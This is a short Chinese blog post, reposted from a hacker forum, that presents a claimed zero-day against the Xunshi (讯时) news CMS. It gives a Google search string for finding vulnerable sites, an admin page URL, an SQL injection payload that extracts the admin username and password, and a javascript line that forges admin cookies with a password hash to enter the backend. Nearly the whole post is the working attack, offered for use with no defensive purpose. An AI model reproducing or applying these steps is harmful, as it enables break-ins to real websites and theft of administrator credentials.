虫虫BLOG 臭虫BLOG 虫虫博客臭虫博客脚本安全 WEB服务器安全-通杀讯时系统0day

通杀讯时系统0day

0 comments 2010-5-17 11:3:35 views

转载请注明原文出处：黑客战队论坛 http://www.hackcs.com

经测试此0day通杀所有讯时系统。

google关键字inurl:news_more.asp?lm2=

复制代码

/admin/admin_news_pl_view.asp?id=1 //id任意填入以下语句
有时1显示错误信息的时候继续往后退2，3，4。。。。
|'+dfirst("[user]","[admin]")+chr(124)+dfirst("[pass]","[admin]"),username='
cookies进后台
javascript:alert(document.cookie="adminuser=" + escape("admin"));alert(document.cookie="adminpass=" + escape("480d6d6b4d57cc903f3bab877248da40"));

脚本提权 fengzhangqing

0 条留言